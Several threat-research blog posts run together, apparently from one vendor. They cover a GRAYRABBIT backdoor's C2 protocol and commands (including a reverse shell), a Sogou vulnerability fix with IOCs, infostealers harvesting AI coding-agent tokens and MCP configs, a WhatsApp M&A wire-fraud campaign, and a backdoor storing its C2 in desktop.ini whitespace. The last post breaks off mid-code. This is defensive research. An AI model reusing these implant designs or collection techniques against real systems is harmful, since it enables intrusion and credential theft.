CoreClientStart begins by decrypting the C2 configuration. The domain mail.uaiubifas[.]top is split across a 16-byte XMM constant and a two-byte string literal "op" that are concatenated at runtime. The port is hardcoded as 0x1BB (443). Communication uses raw TCP sockets (not TLS). Every 0x1000-byte send/receive frame is encrypted with RC4 using the six-byte static key m5b1u3. The RC4 S-box is reinitialized for each frame.
On startup, CoreClientStart iterates through the configured C2 servers, calling gethostbyname to resolve the domain, then connect to establish a TCP connection on port 443. Once connected, it enables TCP keepalive (SIO_KEEPALIVE_VALS with a 10-second interval and 5-second retry) and sets SO_REUSEADDR. If the connection drops, the RAT closes the socket, reinitializes Winsock, and reconnects after a 10-second sleep (Sleep(0x2710)).
A dedicated receive thread runs in a loop, reading up to 0x1000 bytes per frame from the socket, RC4-decrypting each frame, and dispatching incoming messages by their 4-byte type identifier. The binary contains C++ RTTI metadata that reveals the class hierarchy: messages inherit from a base SRMsg class and are dynamically cast to either NormalMsg (command messages) or FileMsg (file transfer messages):
<ul>
<li>0x6D7367FF ("msg" + 0xFF): Command message (NormalMsg), dispatched to the command handler</li>
<li>0x66696C65 ("file"): File operation message (FileMsg), dispatched to the file task system</li>
</ul>

Every frame on the wire is exactly 0x1000 (4096) bytes, zero-padded and RC4-encrypted. A NormalMsg frame contains a 12-byte header: the 4-byte magic, a 4-byte payload length, and a 4-byte command ID, followed by up to 4084 bytes of UTF-8 payload data. A FileMsg frame has a larger 264-byte (0x108) header: the 4-byte magic, a 4-byte payload length, a 1-byte operation code ('s' for start, 'c' for chunk, 'e' for end), and a 255-byte null-terminated file path, followed by up to 3832 bytes of file data. The operation codes control the file transfer state machine: 's' creates a new transfer entry in an internal task queue and delivers the first data chunk, 'c' appends subsequent chunks, and 'e' marks the transfer as complete (status 2), signaling any waiting thread that the full file is available.
All numbered commands (0 through 9) and the default plugin dispatch are delivered as NormalMsg frames. FileMsg frames are used exclusively for the data transfer channel that delivers file content to or from the implant and are not part of the command dispatch table. The main thread processes the NormalMsg command queue and dispatches based on the command ID:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>MSG Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>NormalMsg</td>
<td>Execute a process silently (CreateProcessW with the payload as a command line)</td>
</tr>
<tr>
<td>1</td>
<td>NormalMsg</td>
<td>Start an interactive reverse shell (CreateProcessA "cmd" with piped stdin/stdout/stderr)</td>
</tr>
<tr>
<td>2</td>
<td>NormalMsg</td>
<td>No-op / reserved</td>
</tr>
<tr>
<td>3</td>
<td>NormalMsg</td>
<td>Write data to the interactive shell's stdin pipe (requires an active shell from cmd 1)</td>
</tr>
<tr>
<td>4</td>
<td>NormalMsg</td>
<td>Close the interactive shell and terminate its process</td>
</tr>
<tr>
<td>5</td>
<td>NormalMsg</td>
<td>Load a plugin module from the C2 (see below)</td>
</tr>
<tr>
<td>6</td>
<td>NormalMsg</td>
<td>Collect and send system information</td>
</tr>
<tr>
<td>7</td>
<td>NormalMsg</td>
<td>Self-terminate (unload all plugins, then TerminateProcess on the current process)</td>
</tr>
<tr>
<td>8</td>
<td>NormalMsg</td>
<td>No-op / file request acknowledgment (also sent by the client to request a file)</td>
</tr>
<tr>
<td>9</td>
<td>NormalMsg</td>
<td>Upload a local file to the C2 (reads the file path from the payload)</td>
</tr>
<tr>
<td>default</td>
<td>NormalMsg</td>
<td>Dispatch to loaded plugin modules via their vtable handlers</td>
</tr>
</tbody>
</table>
Command 5 is the plugin loader, and its behavior depends on whether the requested module has already been downloaded. The payload contains a file path string (UTF-8). When the command arrives, the handler first looks up this path in an internal task queue that tracks all ongoing and completed file transfers. Two outcomes are possible:
<ul>
<li>
If the path is NOT found in the task queue (the module has not been downloaded yet), the handler spawns a dedicated download thread. This thread sends a NormalMsg with command ID 8 back to the C2, carrying the same file path as its payload, effectively requesting the C2 to deliver the file. The C2 responds with a sequence of FileMsg frames: an 's' frame to create the transfer entry and deliver the first chunk, zero or more 'c' frames with subsequent chunks, and a final 'e' frame that marks the transfer as complete (setting an internal status field to 2). The download thread polls the task queue in a loop, sleeping approximately two seconds between checks, until it detects that the entry's status has reached 2. At that point, it proceeds to the reflective loading stage.
</li>
<li>
If the path IS found with status 2 (the module was already downloaded in a previous command), the handler skips the download entirely and proceeds directly to reflective loading.
</li>
</ul>
The reflective loading stage maps the downloaded PE into memory using the same infrastructure as CoreClientInstall: it resolves VirtualAlloc from kernel32 via PEB-walk hashing, allocates executable memory, maps sections to their virtual addresses, processes relocations, resolves imports, and calls the entry point with DLL_PROCESS_ATTACH. A designated export is then resolved by hash and invoked. Each loaded module is tracked in a linked list, and unrecognized command IDs (the default case in the dispatch table) are forwarded to these modules via vtable calls, allowing the C2 operator to extend GRAYRABBIT's capabilities at runtime without replacing the core implant.

The system information beacon (command 6) collects the machine's IPv4 address via GetAdaptersAddresses (filtering for operational Ethernet or Wi-Fi adapters with a gateway), the hostname via gethostname, the username via GetUserNameA, and the current process name and PID via GetModuleFileNameA and GetProcessId. The result is formatted as &lt;ip_address&gt;+&lt;hostname&gt;+&lt;username&gt;+&lt;exename&gt;:&lt;pid&gt; and sent to the C2 upon successful connection.
<h2>Disclosure Timeline and Fix</h2>
<ul>
<li>
April 9, 2026: Vulnerability reported to Tencent (<a href="mailto:security@tencent.com">security@tencent.com</a>) with full technical report and 90-day coordinated disclosure deadline per ISO/IEC 29147:2018
</li>
<li>
April 10, 2026: Tencent acknowledges receipt and begins internal assessment
</li>
<li>
April 21, 2026: Tencent confirms the fix is complete and deployed to all users via automatic update (version 16.3.0.3498)
</li>
<li>
May 4, 2026: CVE ID requested through MITRE
</li>
<li>
July 10, 2026: MITRE assigns CVE-2026-51990
</li>
</ul>
Credit where it is due: a 12-day turnaround from report to deployed patch is genuinely fast, and we commend the Sogou engineering team for the speed of their response. In their response, Tencent characterized the vulnerability's impact as limited, noting that the exploitation chain is "relatively complex" and that it requires "social engineering tactics to induce the user to actively authorize the browser's pop-up prompt." Their response also called on "all platform providers to further strengthen the identification and interception of illicit links". While the update blocks the exploit path we observed, the underlying browser component remains outdated, continues to run without sandboxing, and still has important browser security controls disabled. We believe these components warrant further hardening.
We recommend that all Sogou Input Method users update to the latest version as soon as possible.
<h2>What was Fixed</h2>
The entire fix lives in biz_helper.exe, at the protocol handler level. The handler now identifies URL-bearing switches by checking the switch name against a set of known URL parameters (specifically -url and -firsturl, the two switches that SGMyInput.exe uses to accept custom navigation URLs). For each URL found, it calls InternetCrackUrlW to parse the URL structure, immediately rejects anything that is not HTTPS (blocking http://, ftp://, data://, javascript://, and every other scheme), extracts the hostname, lowercases it, and checks it against a suffix-matching allowlist containing four entries: sogou.com, qq.com, woa.com, sogou.
The suffix matching means sogou.com matches anything.sogou.com, skins.sogou.com, and so on, but does not match attacker-sogou.com (the comparison is performed right-to-left against ".sogou.com" with a dot prepended to each allowlist entry).
Notably, the CEF configuration and the version of libcef itself were not changed. In the patched SGWebRender.exe and SGMiniBrowserHelperHost DLL, CefSettings.no_sandbox is still set to 1, the bDisableWebSecurity flag is still hardcoded to 1, and the ConfigureCefCommandLineSwitches callback still appends disable-web-security, allow-file-access-from-files, and the other insecure flags. The embedded browser component remains sandboxless and security-stripped. It just can no longer be reached through the external protocol handler with an attacker-controlled URL, because the input validation in biz_helper.exe now blocks this attack at the front door.
At the time of writing this, additional checks were added to biz_helper, such as browser-context module argument whitelist and a dangerous param argument blocklist. However, CEF configuration and version still remain unchanged.
<h2>Indicators of Compromise</h2>
File hashes (SHA256)
<ul>
<li>
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

Threat Research Team Lead

Our analysis of recent information-stealer collection rules found a much newer category alongside the familiar browser, wallet, and credential targets: local data associated with Claude, Cline, Codex, Continue, Cursor, OpenCode, and other AI-assisted development tools.&nbsp;This was not an isolated experiment: over a three-month period, our Windows telemetry recorded Amatera and Remus detections among tens of thousands of protected users. <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns" target="_blank" rel="noreferrer noopener">Amatera</a> targets data associated with Cline and Continue, while <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a> targets Claude, Cursor, and OpenCode. The figures may overlap and describe detections rather than successful infections, but they show that AI agent data has already entered the information-stealer economy.&nbsp;What the malware is collecting goes far beyond harmless preferences. Depending on the agent and its configuration, local files may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, account details, and traces of the projects a developer has been working on. In one archive, an attacker may obtain both the means to access an account and the context needed to understand what is valuable behind it.&nbsp;Our findings focus primarily on locally installed coding agents and agentic developer tools, and they do not point to a new way of compromising the device or to a vulnerability in an AI model or agent. The information stealer is already running; what has changed is the concentration of valuable information in predictable locations, sometimes in plaintext, and the ease with which those locations can be added to an existing collection list.&nbsp;<h2 class="text-align-justify">The collection rules have already changed&nbsp;</h2>CallbackBeaver, a fast-emerging stealer, has added Cursor and Claude to its collection scope, and we observed more than 5,000 samples during a recent 30-day period. Lower-prevalence families, including BeeStealer, STG Stealer, HydraStealer, APEX Stealer, and Otter Stealer, show that the behavior is spreading beyond one or two larger operations The pace of adoption is striking, with AI agent data appearing in the collection rules of another stealer almost every day.&nbsp;The same behavior is visible across operating systems, with Djinn Stealer on macOS associated with collecting data from Claude, Codex, Gemini, Cline, OpenCode, and Kilo.&nbsp;The reconstructed rules below show how directly several AI-assisted development tools have been added to a stealer's collection scope. The list is a snapshot rather than a complete map of the ecosystem, but it makes the change visible: agent data is now sitting alongside the targets that information stealers have pursued for years.&nbsp;

The targeting of AI agent data is emerging within a much larger infostealer problem. During the first half of 2026, our telemetry recorded infostealer detections among more than 3.3 million unique protected users, with the monthly number consistently exceeding 500,000. These figures cover all infostealer families, not only those known to target AI agent data, but they show the scale of the ecosystem in which this behavior is spreading.&nbsp;<h2 class="text-align-justify">Access and context in the same archive&nbsp;</h2>An agent's local directory contains far more than interface preferences. The exact files, paths, and protections differ between products, operating systems, and user settings, but the material we found falls into two broad categories: access to accounts and connected services, and context that can compromise a user’s privacy by revealing who they are and what they are working on.&nbsp;Some agents cache access tokens or other login details locally so that the user does not have to authenticate for every session. An access token may let an attacker use the account until it expires, while a refresh token can sometimes be exchanged for new access tokens and extend the window of abuse. Stolen tokens can be used to consume paid API capacity, while working access to an account may be packaged and resold so that someone else can use a commercial AI service at the victim’s expense. The outcome depends on the token's scope, lifetime, and the service's own controls, so stealing a file does not guarantee lasting access, but the file can still be as sensitive as a password store.&nbsp;The <a href="https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro" target="_blank" rel="noreferrer noopener">Model Context Protocol</a>, commonly known as MCP, can extend that access beyond the AI service. It allows an agent to connect to external tools and data sources, and local configurations may include endpoints, headers, environment variables, API keys, or other authentication details. A stolen configuration does not automatically unlock every connected service, because some integrations use short-lived credentials, OS-protected storage, or an interactive authorization flow. Where reusable secrets are stored locally, however, the compromise may reach source control, ticketing platforms, databases, cloud services, or collaboration tools connected to the agent, potentially broadening the attack surface.&nbsp;The context can be just as valuable, because developers use AI assistants to review code, interpret logs, troubleshoot incidents, summarize internal documentation, and reason through unfinished work. Their prompts and transcripts can contain proprietary source code, repository names, internal hostnames and API keys or other secrets pasted into a conversation. If an employee has used the assistant while developing a confidential proof of concept, the stolen history could expose an unpatented invention or another trade secret, with consequences far beyond the theft of an AI account. A transcript may also provide reconnaissance that an attacker would otherwise spend days collecting, including the structure of a codebase, known technical problems, security tooling, and the people involved in a project.&nbsp;Local data may also expose an email address, account or organization identifiers, display name, subscription type, billing status, seat tier, rate limits, user preferences, and a history of recent files or projects. None of these fields is as dramatic as a token, but together they can undermine the user’s privacy by building a detailed picture of who they are and what they do. Combined with personal information stolen elsewhere from the device, they may also contribute to identity theft, while helping criminals identify valuable victims and make targeted/spear phishing or extortion attempts more convincing.&nbsp;The danger lies in combining access with context: a browser cookie can open a door, but an AI-agent archive may also tell the attacker whose door it is, which projects are behind it, and which connected systems may be reachable from the same workspace. Incident responders should therefore treat agent credentials and local histories as part of the broader identity and access surface, not as an isolated AI account.&nbsp;<h2 class="text-align-justify">Adding the next agent may take one configuration update&nbsp;</h2>Many information stealers already receive remotely managed collection rules specifying directories, filenames, extensions, databases, search depth, or file-size limits. Once an operator learns where an agent stores useful data, expanding that list can be as simple as adding another path.&nbsp;The malware may not need to be rebuilt or redistributed. An updated rule can be delivered to existing installations, allowing the operator to start collecting a newly popular agent's files across already compromised devices. This does not apply to every stealer, and some tools need product-specific parsing or decryption, but the basic barrier to entry is low when the target is a predictable local file.&nbsp;If a major stealer does not collect a particular agent today, its absence from the list should be treated only as a snapshot, not as evidence that the agent will remain outside the collection scope once criminals see enough users, valuable accounts, or resale demand.&nbsp;<h2 class="text-align-justify">What users and security teams should do&nbsp;</h2>AI-agent data should be included in the same security conversations as browser profiles, developer credentials, password stores, and cloud command-line tools. The response needs to cover both prevention and the actions taken after a suspected stealer infection.&nbsp;<ul type="disc"><li data-list-item-id="e9c8f62b192dd7be1ca6328df6679dcb8">Know what is stored locally. Inventory the agents in use, review their retention and history settings, and understand where they keep credentials, conversations, project records, and MCP configuration.&nbsp;</li><li data-list-item-id="eb7c4958e803b3c580e162cae0d899d6a">Prefer protected credential storage. Where a product offers a choice, use the <a href="https://developers.openai.com/codex/auth" target="_blank" rel="noreferrer noopener">operating system's credential store, keychain, or keyring</a> rather than file-based token storage. A local authentication file containing access tokens should be treated like a password.&nbsp;</li><li data-list-item-id="ed3c578310cc33e114c3aea0bc5f495fe">Keep secrets out of prompts and histories. Avoid pasting passwords, private keys, API secrets, or customer data into a conversation. If a secret has been exposed for troubleshooting, rotate it and remove the retained conversation where possible.&nbsp;</li><li data-list-item-id="e1288f8a1a4ebbb51184460556d34c0db">Limit what connected tools can do. Give MCP integrations only the permissions they need, favor short-lived and narrowly scoped tokens, and separate personal, development, and production access. Review old servers and revoke connections that are no longer used.&nbsp;</li><li data-list-item-id="ea4fc9c9016c9026dbf5d7ada8eee07f6">Protect the endpoint. Keep the operating system and applications updated, use reputable endpoint protection, and be particularly cautious with ClickFix/FakeCaptcha instructions, cracked software, unofficial installers, and other common routes used to deliver information stealers.&nbsp;</li><li data-list-item-id="ea8ebc0cc54527b97295b8e4240320f3c">Expand incident response. After a stealer infection, changing browser passwords alone is no longer enough. From a clean device, revoke AI-service sessions, rotate API keys and other credentials used by MCP connections, review connected applications and account activity, and assess whether local prompts or transcripts exposed company information. Multi-factor authentication remains important, but it may not stop abuse of a session token that has already been stolen.&nbsp;</li></ul><h2 class="text-align-justify">Safer defaults have to come from the products too</h2>Users cannot carry this responsibility alone, so agent developers should minimize the amount of sensitive information kept locally, separate authentication material from ordinary history, use OS-protected credential storage wherever possible, and make retention controls easy to find and understand. Tokens should be short-lived, scoped to the smallest practical set of permissions, and simple to revoke. MCP connections need equally clear visibility, so users and administrators can see what is connected, what it can access, and when it was last used.&nbsp;Encryption at rest can help, but it should not become a reassuring label without a threat model behind it. If the decryption key is stored beside the database, or the application automatically unlocks everything for any process running as the user, an information stealer may still obtain the data. Reducing what is retained and limiting the value and lifetime of credentials are just as important as encrypting the file.&nbsp;AI agents are becoming a new layer of working memory on our devices, storing not only what we ask them, but also who we are, what we are building, and which services we have allowed them to reach. Information stealers have already adjusted their collection rules to reflect that value, and because another agent can sometimes be added with a simple configuration update, the target list will continue to change as adoption grows.&nbsp;Once an AI agent holds credentials, conversation history, and a map of the user’s work, its local files are no longer merely configuration. They have become another high-value data store on the device, and attackers are already treating them that way.&nbsp;

Malware operators are expanding beyond browser passwords and crypto wallets to collect access tokens, MCP configurations, prompt histories and project data stored by AI tools. 

Infostealers Have Found a New Target: Your AI Agent 

Sr Princ Threat Analysis Engineer

It started with an innocent WhatsApp message.“Hi David, I hope you are well. Are you at the office?”The sender claimed to be a real Gen executive based in Dublin. The profile used his name, photograph and an Irish telephone number. Nothing in the opening message mentioned money, urgency or an acquisition. It was simply designed to establish whether the recipient was available and willing to respond.The recipient, whom we will call David, worked in Gen’s legal team and knew the colleague being impersonated. The unfamiliar telephone number raised suspicion, and the first phone conversation confirmed it: the caller’s voice did not match.David knew he was dealing with a scam. Every subsequent message, call and document formed part of a controlled effort to understand how the operation worked and gather evidence about the people behind it.What followed involved a second impersonated identity, forged legal documents, a fictitious confidential acquisition and a request to transfer €626,735.45 to a company in Hong Kong.What began as an attack against Gen’s legal team soon revealed a wider pattern. Our researchers found four additional targeted individuals who had received closely related NDA documents. The companies, advisers and acquisition narratives changed, but the structure, communication rules and document fingerprints remained remarkably consistent.We call the campaign Phantom Deal.<h2>A real person, but neither his number nor his voice</h2>The first persona claimed to be someone from inside the company. The attacker had selected an identity that made sense in the context of Gen’s international operations and used a phone number with the correct country code to reinforce the illusion.The deception did not survive the first call. David knew the person being impersonated, and the voice on the other end was not his.After the initial exchange, a second person entered the conversation. This time, the attacker impersonated a genuine professional associated with PwC and asked the target to provide a private email address.That request was not incidental.The forged NDA that followed instructed the recipient to keep all communication related to the acquisition on WhatsApp and personal email. The attackers tried to keep the entire exchange outside corporate communication channels before introducing any payment request.The attackers had also studied Gen’s history. The acquisition narrative referenced Avast Software and NortonLifeLock Ireland Limited, drawing on the real acquisition of Avast by NortonLifeLock in 2022 and the subsequent creation of Gen Digital. The names were familiar, the corporate relationship had existed, and an intercompany transaction could appear plausible to someone operating under pressure and secrecy.This was not a generic message sent to thousands of employees. The story had been adapted to its target. The targeting was tailored, but the execution was not flawless. David quickly identified inconsistencies in the explanation for why Avast should make a payment on behalf of NortonLifeLock Ireland Limited. His legal background and familiarity with internal transaction processes made those gaps easier to spot. A more coherent payment narrative could have made the same playbook considerably more convincing.

<h2>The NDA was not supporting material</h2>The next stage was a professional-looking NDA branded as a document from PwC.Fake legal documents are common in corporate fraud, but the NDA served a more important role than simply making the acquisition story look credible. It established the rules under which the victim was expected to operate.The document introduced a confidential acquisition, imposed a strict disclosure regime and set a near-term date for the supposed public announcement. Most importantly, it required communication to take place through WhatsApp and personal email.Under normal circumstances, instructions to avoid company systems and exclude colleagues from a major transaction would be obvious warning signs. Inside the fiction created by the NDA, the same behaviour could be presented as a legal obligation.The attackers were attempting to turn the company’s own confidentiality culture against it.The target was encouraged not to involve colleagues, not to discuss the transaction through normal channels and not to verify the instructions with Legal, Finance, Treasury, Compliance or Corporate Development. A recipient who treated the NDA as genuine would become increasingly isolated from the colleagues most likely to challenge the story.The NDA was not an accessory to the attack. It was the payload.

<h2>A deal that had to remain secret</h2>The attackers presented the acquisition as a tightly controlled transaction coordinated by a reputable adviser, with only a small group involved and an announcement approaching fast.The victim was told that the transaction would become public on June 19, 2026. The NDA had been presented only days earlier.That short window created pressure while providing a ready-made explanation for why the operation could not be discussed more broadly.The supposed adviser then sent payment instructions asking Avast Software s.r.o. to transfer money on behalf of NortonLifeLock Ireland Limited.The amount was precise: €626,735.45.The beneficiary was a company in Hong Kong, with the payment described as an “Advance Retainer for Professional Services.” The document stated that the amount would be recorded as an intercompany receivable and reimbursed when the acquisition was formally announced.It was a classic advance-payment fraud wrapped in the language of M&amp;A, legal privilege and internal corporate accounting.<h2>“I need a SWIFT MT103”</h2>Once the payment instructions had been delivered, the tone changed.The attacker began following up for confirmation that the transfer had been completed. The target was asked to provide a SWIFT MT103, the banking message used as evidence that an international transfer has been executed.“I need a swift MT103, it’s an official proof of wire transfer to attached to the package.”Later, after receiving what appeared to be a confirmation email, the attacker complained that the link would not open and asked for the document as a PDF. He then added another requirement: the confirmation should contain the UETR number, a unique reference used to track a payment through the SWIFT network.The request for the MT103 and UETR confirmed the objective. The attackers wanted proof that the funds were moving and the information needed to monitor the transfer, potentially reducing the time available for the company or its bank to intervene.

<h2>Turning the attack into intelligence</h2>Once David had identified the scam, the objective shifted from verification to intelligence gathering. Working with our researchers, he continued the exchange while the team controlled the material being sent and monitored how the operation responded.A fake account statement was prepared, showing what appeared to be the requested payment and the remaining company balance. The document contained a hidden marker that could identify whether it was opened on a system protected by one of our products.When the attackers requested formal MT103 confirmation, the team also created a fake Citibank-style confirmation email. It contained the transaction amount, beneficiary and payment reference expected by the criminals, together with a link to view the full transaction details.The link did not lead to real banking information. It contained a canary token, allowing our researchers to record when it was opened.When he reported that the link was not working, the team suggested that his VPN might be causing the problem and asked him to disable it. Further access attempts followed within minutes.The token recorded 49 HTTP requests from 43 IP addresses over 24 days. Most of the activity in the first minutes came from automated scanners, cloud services and redirect-analysis systems, so the raw count does not represent 49 actions by the attacker.After filtering that noise, the remaining data showed repeated interaction through VPNs, proxy services and several non-hosting internet connections. Some visits were separated by hours or days and used different browser profiles, behaviour consistent with a person returning to the link and attempting to retrieve the promised payment information.The network data helped us separate scanner traffic, proxy infrastructure and repeated manual access, but it was not enough to attribute the operation. Some later visits came from ordinary ISP ranges, although those connections show where the traffic exited, not necessarily where the fraudsters were located.&nbsp;The later visits showed repeated manual access by someone connected to the fraud operation, including long after the supposed transfer should have been completed.

<h2>From one attack to a wider campaign</h2>The controlled interaction gave us visibility into the live fraud attempt, while the forged NDA gave us something else: a set of document fingerprints we could hunt for.Using its structure, wording and embedded identifiers, the team found four additional NDA samples connected to other targeted individuals.The organizations and professions varied. The targets included senior people in private equity, industrial finance, sales, mining and energy. For each of them, an acquisition or strategic investment narrative would have been credible enough to justify initial engagement.The advisers also changed. Some documents impersonated PwC, while others used KPMG or Ogier branding. There is no indication that any of these firms were compromised or involved in the operation. Their names and identities were being abused to make the documents appear legitimate.Despite the different branding, the documents followed substantially the same sequence of sections and reused the same legal language. They all imposed confidentiality, directed communications towards WhatsApp and personal email, and introduced a short period between the NDA date and the supposed public announcement.They also contained the same unusual numeric identifier across documents attributed to different firms and prepared for unrelated recipients. This kind of residue is common when criminals reuse document templates. Names, dates, logos and transaction references may be changed, while less visible elements remain untouched.The repeated structure suggests that the attackers were not building each operation from scratch. They had developed a reusable M&amp;A fraud package that could be adapted to different people and companies.In the Gen case, we observed the complete chain, from WhatsApp contact to payment request and demand for MT103 confirmation. For the other four targets, we found the malicious NDA documents carrying the same core narrative and document fingerprints, but did not observe the later payment stage.Taken together, the evidence points to a wider M&amp;A-themed fraud campaign built around the same narrative and document toolkit. It does not establish that every target received identical payment instructions or that every document was operated by the same individual.<h2>No malware, no compromised mailbox</h2>Phantom Deal did not require an exploit, malicious attachment or stolen corporate email account.The operation drew on publicly available information, real names, photographs, company history and familiar business procedures. WhatsApp made the contact immediate, the forged NDA justified secrecy, and the acquisition narrative created the urgency needed to move the victim towards payment. The financial request appeared only after the surrounding story had been established.A security team searching only for malware or suspicious email links could miss the entire operation.The attack was designed to induce a process failure rather than exploit a technical vulnerability. The criminals attempted to convince the target that bypassing normal controls was necessary to protect a confidential deal.The warning signs appeared well before the Hong Kong bank account. Keeping a sensitive corporate transaction on WhatsApp and personal email was already enough to require independent verification.<h2>How companies can interrupt the chain</h2>Confidential transactions require restricted access, but secrecy should never remove independent verification.Organizations can reduce exposure by establishing a small number of rules that apply even to the most sensitive acquisitions, investments and restructuring projects:<ul type="disc"><li data-list-item-id="e79a03ebdcc50053e9752b64215ac6d0d">Payment instructions must be verified through an independently established channel, not through contact details supplied during the transaction.</li><li data-list-item-id="e56458281a15b902c959078fd579c2999">No executive, adviser or board member should be able to override payment controls through WhatsApp, personal email or a confidentiality claim.</li><li data-list-item-id="e18c724391af3cb0258190c8ed3abd5c9">Legal, Finance, Treasury and Corporate Development teams should have a defined escalation route for unexpected transaction requests.</li><li data-list-item-id="e14239b646035ac07ac66d03bc0296926">Staff involved in payments should be trained to recognize requests for MT103 documents, UETR references and other confirmation data as part of the fraud chain, not merely as administrative follow-up.</li><li data-list-item-id="ea23d5cfe13818e8eefd6ca3cdb93d591">External advisers should be contacted using verified directory information whenever their identity or instructions are in doubt.</li><li class="ck-list-marker-bold" data-list-item-id="edfd65aefb0bda3b6fe5bc0523c729c49">Changes of communication channel, especially from corporate systems to private accounts, should trigger additional scrutiny.</li></ul>The same rules must apply when the request appears to come from the CEO, a board member or someone already known to the recipient.<h3>An NDA can limit who is told about a transaction. It should never prevent the transaction from being authenticated.</h3><h2>Real details, false transaction</h2>Phantom Deal drew credibility from genuine information. The people, companies and advisers were real, as was the acquisition history connecting Gen and Avast. International payments, professional retainers and intercompany receivables are also normal elements of large corporate transactions.The transaction tying those details together was fabricated, and the execution was uneven. The caller’s voice did not match the colleague being impersonated, while the explanation for the payment contained inconsistencies that a lawyer familiar with the company’s processes could identify quickly. A more coherent story might have been considerably more dangerous.Why try this against a security company? Probably for the same reason they try it anywhere else: a security company is still a company. It has money, confidential transactions and employees whose jobs do not involve analysing scams. The attackers were not trying to defeat our security technology. They were trying to find one person who might accept the story and step outside the normal process.In this case, they chose someone who knew the colleague, recognized that the voice did not match and understood that the payment explanation made no sense. From that moment, the supposed victim was no longer following their script. He was helping us investigate it.There is also some irony in how it ended. After spending days building a narrative around trust, secrecy and urgency, someone connected to the fraud operation repeatedly interacted with the fake payment confirmation we placed in front of them.The NDA was intended to keep the operation confidential. Its reused language, structure and identifiers ultimately helped expose the campaign behind it.

Attackers posed as executives, moved conversations to WhatsApp and personal email, and forged acquisition documents to set up international wire transfers. When they targeted Gen, researchers played along, exposing a wider M&A scam.

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

We found a custom Windows backdoor on a single corporate workstation while hunting for unusual WMI persistence. The malware was small, had a limited command set and disguised itself as legitimate Realtek software. Its most unusual feature was its configuration: the address of its command-and-control server was not stored as readable text or encrypted data, but encoded in the number of spaces on each line of a Windows `desktop.ini` file. To a user, and to many automated inspection systems, the file would appear almost empty. To the malware, those spaces spelled out its server address. We found no evidence connecting the backdoor to a known threat actor, and the original infection happened before our protection was installed. However, the implant's custom design, its deployment on only one observed machine and the absence of related samples suggest that this may have been a deliberately targeted operation rather than a failed mass campaign.

<h2>An event subscription named "Realtek"</h2>
Most malicious WMI subscriptions are easy to spot because the query asks for something no administrator would. This one asked for something an administrator plausibly might, at a very specific time.
Our behavioural engine dumped the subscription it objected to. This is our own export of the WMI objects rather than a file the attacker left on disk, with the host name redacted:

A filter watching <code>Win32_LocalTime</code> for hour 19, minute 50 is a restart timer, not a boot hook. The subscription itself lives in the WMI repository and survives reboots; what it does not do is start anything at boot, so a machine restarted in the morning stays quiet until the evening.
<code>RtkNGUI64.exe</code> is the real name of Realtek's audio control panel, and the consumer's command line writes the path in 8.3 short form, <code>Progra~1</code> rather than <code>Program Files</code>.

<h2>Why one machine is the interesting part</h2>
Everything in this post came from a single host: a domain-joined Windows 7 SP1 workstation, 64-bit. One managed endpoint, and our prevalence figure for the binary is exactly one.
That number is easy to misread, because low prevalence usually means a campaign that failed. Low prevalence should not mean low investigative priority: a threat sitting on one machine can matter more than one sitting on a hundred thousand, and a triage queue sorted by prevalence will show it to you last, if it shows it to you at all. The grounds for reading this one the other way need no victim detail at all.
The implant is custom-built: twelve kilobytes, no runtime library, and a config format that appears nowhere else in our corpus. None of the artefacts have ever been uploaded to VirusTotal in more than five years. We also searched VirusTotal by content for the fragments that would betray a sibling, including the <code>c%s%se /c %s</code> format string, the <code>a=%s&amp;r=none</code> beacon body, <code>/version/check.php</code> inside Windows executables, and a stock UTF-16 <code>desktop.ini</code> header followed by runs of spaces. All four returned nothing. Two looser patterns, the table its checksum routine uses to rebuild a polynomial and a bare run of UTF-16 spaces, matched unrelated files and tell us nothing either way.
The domain also typosquats a Windows service, which is a choice made by someone who knew what <code>DiagTrack</code> was rather than the output of a generation algorithm, whatever VirusTotal's <code>dga</code> tag suggests.
A commodity loader that only ever lands on one machine is broken. A hand-written implant that only ever lands on one machine may be working exactly as intended.
We will not push the assessment further than that. We never captured a task and never saw a second-stage payload, and we cannot tell you how the machine was reached, for a reason the timeline further down makes plain: the implant was already in place before our software arrived. Whatever the initial vector was, it happened on an endpoint nobody was watching. We name no actor and no campaign.

<h2>What RtkNGUI64.exe actually is</h2>
The binary is a 12,288-byte x64 executable with no C runtime, no packer, and an entry point that goes straight into the main loop. It imports 48 functions by name across <code>KERNEL32</code>, <code>WININET</code>, <code>WS2_32</code>, <code>IPHLPAPI</code>, <code>SHLWAPI</code> and <code>ADVAPI32</code>, and that is the whole dependency list. <code>msvcrt.dll</code> is not on it, and leaving it out took deliberate work. The appendix has the substitutions the author wrote around it, the compiler they used, and the day they built it.
There is no encrypted blob, no import hashing and no anti-debug. The engineering worth looking at is all in where the thing keeps its configuration.

<h2>The config is a desktop.ini full of spaces</h2>
On startup the backdoor assembles a path from the <code>PROGRAMDATA</code> environment variable and two string fragments, opens the result with <code>OPEN_ALWAYS</code>, and checks that there is something past the header to read:
<pre><code>GetEnvironmentVariableA("PROGRAMDATA", ini_name, 0x40u); lstrcatA(ini_name, "\DESKTOP."); // first half of the filename

// ... bot ID, mutex, heap and pipe setup: sixteen lines ...

lstrcatA(ini_name, "ini"); // second half, appended much later

